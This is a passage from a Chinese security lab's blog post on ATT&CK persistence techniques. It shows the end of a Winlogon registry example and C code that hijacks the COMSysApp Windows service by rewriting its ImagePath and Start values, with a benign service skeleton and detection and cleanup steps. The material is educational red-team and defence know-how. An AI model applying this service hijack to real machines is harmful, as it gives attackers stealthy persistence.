
       Sleep(1000);

    }

}

 

運行效果圖

當該用戶下次登錄的時候Winlogon會帶動Rundll32程序,通過命令行參數加載預設的DLL文件執行其導出函數,如下圖所示,目標穩定運行中:

運行後的註冊表鍵值情況如下圖所示:

檢查及清除方法

檢查以下2個註冊表路徑中的「Shell」、「Userinit」、「Notify」等鍵值是否存在不明來歷的程序路徑

1  HKLM\Software[Wow6432Node]Microsoft\WindowsNT\CurrentVersion\Winlogon\

2  HKCU\Software[Wow6432Node]Microsoft\WindowsNT\CurrentVersion\Winlogon\

關鍵鍵值如下圖所示:

1)Winlogon\Notify– 默認指向處理Winlogon事件的通知包DLL

2)Winlogon\Userinit– 默認指向userinit.exe,即用戶登錄時執行的用戶初始化程序

3)Winlogon\Shell– 默認指向explorer.exe,即用戶登錄時執行的系統shell


篡改服務進程

代碼及原理介紹

Windows服務的配置信息存儲在註冊表中,一個服務項有許多鍵值,想要修改現有服務,就要了解服務中的鍵值代表的功能。

「DisplayName」,字符串值,對應服務名稱;

「Description」,字符串值,對應服務描述;

「ImagePath」,字符串值,對應該服務程序所在的路徑;

「ObjectName」,字符串值,值為「LocalSystem」,表示本地登錄;

「ErrorControl」,DWORD值,值為「1」;

「Start」,DWORD值,值為2表示自動運行,值為3表示手動運行,值為4表示禁止;

「Type」,DWORD值,應用程式對應10,其他對應20。

在這裡,我們只需要注意「ImagePath」,「Start」,「Type」三個鍵值,「ImagePath」修改為自己的程序路徑,「Start」改為2,自動運行,「Type」改為10應用程式。

接下來就要選擇一個服務,在這裡,我們選擇的服務是「COMSysApp」,本身「Type」為10。

修改鍵值的代碼如下:

    HKEY hKey;

    DWORD dwDisposition;

    DWORD dwData = 2;

    const char system[] ="C:\\SeviceTopSec.exe";//hello.exe

 

    if (ERROR_SUCCESS !=RegCreateKeyExA(HKEY_LOCAL_MACHINE,

       "SYSTEM\\CurrentControlSet\\services\\COMSysApp",0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

    {

       return 0;

    }

    if (ERROR_SUCCESS != RegSetValueExA(hKey,"ImagePath", 0, REG_EXPAND_SZ, (BYTE*)system, (1 +::lstrlenA(system))))

    {

       return 0;

    }

    if (ERROR_SUCCESS != RegSetValueExA(hKey,"Start", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD)))

    {

       return 0;

    }

    return 0;

但是「ImagePath」中的程序並不是普通的程序,需要用到一些特定的API,完成服務的創建流程。

總的來說,一個遵守服務控制管理程序接口要求的程序包含下面三個函數:

服務程序主函數(main):調用系統函數 StartServiceCtrlDispatcher 連接程序主線程到服務控制管理程序。

服務入口點函數(ServiceMain):執行服務初始化任務,同時執行多個服務的服務進程有多個服務入口函數。

控制服務處理程序函數(Handler):在服務程序收到控制請求時由控制分發線程引用。

服務程序代碼如下:

HANDLEhServiceThread;

voidKillService();

char*strServiceName = "sev_topsec";

SERVICE_STATUS_HANDLEnServiceStatusHandle;

HANDLEkillServiceEvent;

BOOLnServiceRunning;

DWORDnServiceCurrentStatus;

 

void main(intargc, char* argv[])

 

{

    SERVICE_TABLE_ENTRYA ServiceTable[] =

    {

    {strServiceName,(LPSERVICE_MAIN_FUNCTIONA)ServiceMain},

    {NULL,NULL}

    };

    BOOL success;

    success =StartServiceCtrlDispatcherA(ServiceTable);

    if (!success)

    {

       printf("fialed!");

    }

}

 

voidServiceMain(DWORD argc, LPTSTR* argv)

 

{

    BOOL success;

    nServiceStatusHandle =RegisterServiceCtrlHandlerA(strServiceName,

       (LPHANDLER_FUNCTION)ServiceCtrlHandler);

    success =ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 0, 1, 3000);

    killServiceEvent = CreateEvent(0, TRUE,FALSE, 0);

    if (killServiceEvent == NULL)

    {

       return;

    }

    success =ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 0, 2, 1000);

    success = InitThread();

    nServiceCurrentStatus = SERVICE_RUNNING;

    success =ReportStatusToSCMgr(SERVICE_RUNNING, NO_ERROR, 0, 0, 0);

    WaitForSingleObject(killServiceEvent,INFINITE);

    CloseHandle(killServiceEvent);

}

 

BOOLReportStatusToSCMgr(DWORD dwCurrentState, DWORD dwWin32ExitCode,DWORDdwServiceSpecificExitCode, DWORD dwCheckPoint,DWORD dwWaitHint)

{

    BOOL success;

    SERVICE_STATUS nServiceStatus;

    nServiceStatus.dwServiceType =SERVICE_WIN32_OWN_PROCESS;

    nServiceStatus.dwCurrentState =dwCurrentState;

    //

    if (dwCurrentState == SERVICE_START_PENDING)

    {

       nServiceStatus.dwControlsAccepted = 0;

    }

    else

    {

       nServiceStatus.dwControlsAccepted =SERVICE_ACCEPT_STOP

           | SERVICE_ACCEPT_SHUTDOWN;

    }

    if (dwServiceSpecificExitCode == 0)

    {

       nServiceStatus.dwWin32ExitCode =dwWin32ExitCode;

    }

    else

    {

       nServiceStatus.dwWin32ExitCode =ERROR_SERVICE_SPECIFIC_ERROR;

    }

    nServiceStatus.dwServiceSpecificExitCode =dwServiceSpecificExitCode;

    //

    nServiceStatus.dwCheckPoint = dwCheckPoint;

    nServiceStatus.dwWaitHint = dwWaitHint;

    success =SetServiceStatus(nServiceStatusHandle, &nServiceStatus);

    if (!success)

    {

       KillService();

       return success;

    }

    else

       return success;

}

 

BOOL InitThread()

{

    DWORD id;

    hServiceThread = CreateThread(0, 0,

       (LPTHREAD_START_ROUTINE)OutputString,

       0, 0, &id);

    if (hServiceThread == 0)

    {

       return false;

    }

    else

    {

       nServiceRunning = true;

       return true;

    }

}

 

DWORDOutputString(LPDWORD param)

{

    OutputDebugString(L"HelloTopSec\n");

    return 0;

}

 

void KillService()

{

    nServiceRunning = false;

    SetEvent(killServiceEvent);

    ReportStatusToSCMgr(SERVICE_STOPPED,NO_ERROR, 0, 0, 0);

}

 

void ServiceCtrlHandler(DWORDdwControlCode)

{

    BOOL success;

    switch (dwControlCode)

    {

    case SERVICE_CONTROL_SHUTDOWN:

    case SERVICE_CONTROL_STOP:

       nServiceCurrentStatus =SERVICE_STOP_PENDING;

       success =ReportStatusToSCMgr(SERVICE_STOP_PENDING, NO_ERROR, 0, 1, 3000);

       KillService();

       return;

    default:

       break;

    }

    ReportStatusToSCMgr(nServiceCurrentStatus,NO_ERROR, 0, 0, 0);

}

運行效果圖

先修改註冊表中的鍵值

重啟「COMSysApp「服務

發現在DebugView中列印出字符串。

在任務管理器中點擊轉到進程,發現我們自己寫的服務程序正在運行

檢查及清除方法

檢查註冊表中與已知程序無關的註冊表項的更改

檢查已知服務的異常進程調用樹。

不要走開,第二篇更精彩!

天融信阿爾法實驗室成立於2011年,一直以來,阿爾法實驗室秉承「攻防一體」的理念,匯聚眾多專業技術研究人員,從事攻防技術研究,在安全領域前瞻性技術研究方向上不斷前行。作為天融信的安全產品和服務支撐團隊,阿爾法實驗室精湛的專業技術水平、豐富的排異經驗,為天融信產品的研發和升級、承擔國家重大安全項目和客戶服務提供強有力的技術支撐。


相關焦點

  • ATT&CK之防禦逃逸(一)
    前言             在上次的《ATT&CK之後門持久化》文章中,
  • ATT&CK隨筆系列之三:比武招親
    圖一、雀屏中選《舊唐書》記載「雀屏中選」提到了一個新的模式,北周大將竇毅覺得女兒「才貌如此,不可妄以許人,當為求賢夫」,於是找一丹青妙手,在家中屏風上畫孔雀,並邀請各路好手來家中,每人發兩支箭請大家射孔雀,最後選擇了射中雀目的李淵
  • 重磅關注:2021ATT&CK技術與應用論壇即將召開
    2021ATT&CK®技術與應用論壇報名通道已經開啟:論壇官網:https://www.skdlabs.com/zt/att2021/
  • 銘說 | 用ATT&CK框架分析Ryuk家族勒索軟體
    其戰術部分被劃分為初始訪問、執行、持久化(例如將自身添加為開機自啟動)、權限提升、防禦繞過(如關閉Windows自身防禦、一些知名的殺毒軟體、關閉防火牆等)、憑據訪問(如使用Mimikatz獲取口令等)、發現、橫向移動、收集、命令和控制、數據滲透、影響等十二個部分,通過名稱我們就可看出其真實的含義。為什麼需要使用ATT&CK框架來對網絡空間安全問題進行評價?
  • 雲原生安全技術分享|ATT&CK威脅檢測技術在雲工作負載的實踐
    圖1-3此次更新也改進了數據源,細化了戰術描述內容,增強了可落地性,也不斷例行優化著企業場景的攻防技術。對於「ATT&CK運用在威脅檢測過程的不足」這一問題,筆者認為ATT&CK運用在威脅檢測過程中有以下3點不足,如圖2-10所示。
  • 10 分鐘徹底理解 Redis 的持久化和主從複製
    為了避免內存中數據丟失,Redis提供了對持久化的支持,我們可以選擇不同的方式將數據從內存中保存到硬碟當中,使數據可以持久化保存。當客戶端向伺服器發送save命令請求進行持久化時,伺服器會阻塞save命令之後的其他客戶端的請求,直到數據同步完成。
  • ATT&CK模型解讀
    這一模型對於高緯度理解網絡攻擊有一定意義,但無法形成有效的攻擊路線,無法說明每一次攻擊行為之間的聯繫。ATT &amp;amp; CK Model Relationships以 APT28 用 Mimikatz(一款windows密碼抓取神器)和 Credential
  • MITRE | ATT&CK 中文站 [ 歡迎~ ]
  • ATT&cK實戰系列—紅隊實戰
    注意,你是給liukaifeng01改了密碼2:不要手賤開機之後會看到一個提示,要你重啟計算機,不要答應它,選擇稍後重啟,然後就可以不用管它了3:推薦設置管理員帳號永不過期配置win71:關於移除設備有的人會習慣移除「印表機」、「音效卡」、「CD/DVD(IDE)」諸類的設備,但是不要在win7上這樣做,尤其是不能移除「印表機」,否則phpstudy會啟動失敗2:不要手賤開機之後會看到一個提示
  • MITRE ATT&CK第九版發布
  • MITRE ATT&CK 框架「入坑」指南
    無論針對 TTP 的哪一層,都是在跟攻擊者的工具對抗。攻擊者可能需要修改配置文件或重新編譯工具,以便規避 TTP 痛苦金字塔的底層:工具、網絡/主機痕跡、域名、IP 地址、文件散列值。以上都不是難點,「痛苦指數」最高的是檢測攻擊者 TTP,就是他們的行為。這可就難得多了,因為理解和檢測攻擊者將會如何提權,跟查找散列值與 Mimikatz 內存憑證轉儲工具相同的文件,可是大不一樣的。
  • MITRE 發布工控系統的 ATT&CK 框架
  • 利用Office加載項進行持久化控制的6種姿勢
    這樣做的一個主要優點就是允許操作的持久化運行,從而在設置時減少需要運行的命令數量, 在這種情況下,可以使用「regasm.exe」。在Office應用程式加載COM對象之後獲取代碼執行,代碼中的一個很受信任的位置便是Office特定的「IDTExtensibility2」接口的「OnConnection」功能。
  • TRITON演員TTP簡介,自定義攻擊工具,檢測和ATT&CK映射
    FireEye Mandiant恢復的一系列自定義工具將在本文後面的表1中列出,並且在本文末尾的表2中列出了哈希值。附錄A,附錄B和附錄C中提供了這些工具的發現規則和技術分析,以及MITRE ATT和CK JSON原始數據。
  • 扒一扒伊拉剋星門,遺失的遠古聖物
    爭奪星門相傳在20世紀20年代,伊拉克地區發現了一個古文明的傳送門,也稱星門。後來在接下來的幾十年裡,世界各國政府都開始意識到了這一發現的重要性,因此為了獲得其中的遠古高科技,於是便有越來越多的情報組織以考古學家身份來到伊拉克地區調查所謂的星門。
  • 寒霜之門
    柏裡斯通道是通過席娃山脈到達科瑞塔的必經之路,寒霜之門則是柏裡斯通道上最大的關卡。目前寒霜之門由石峰矮人所佔領,他們對於其它種族都懷有敵意。盧瑞克王子需要你把道路上的石峰矮人設置的投石器摧毀,好讓阿斯卡隆難民可以順利通過寒霜之門,順利到達科瑞塔王國。任務目的破壞投石器並開啟寒霜之門讓盧瑞克王子和阿斯卡隆難民能安全通過。
  • Redis專題:一文搞懂主從複製原理!
    注意:Redis 5.0之後,replicaof已經替換slaveof,由於一些種族歧視的奇葩要求,Redis已經對指令進行了兼容升級,目前slaveof還是可以使用的。搭建主從結構本文示例採用docker compose搭建一主兩從的主從結構。新建docker-compose.yml添加以下配置信息。
  • ActiveMQ詳細入門教程系列(一)
    一、什麼是消息中間件兩個系統或兩個客戶端之間進行消息傳送,利用高效可靠的消息傳遞機制進行平臺無關的數據交流,並基於數據通信來進行分布式系統的集成
  • 清朝最霸氣的官職,「九門提督」究竟有多大?和現代一職位很像
    嘉靖年間,京營有「提督總兵官」一職,後來改為「總督京營戎政」。不過明朝時期的提督多為非正式官職,各地鎮守總兵官,有時因軍事需要常加提督軍務、提督等銜。而到了清朝,提督一職則為常設,各省共設提督十九人,官秩從一品,統帥所屬綠營官兵,是一省綠營最高級軍官。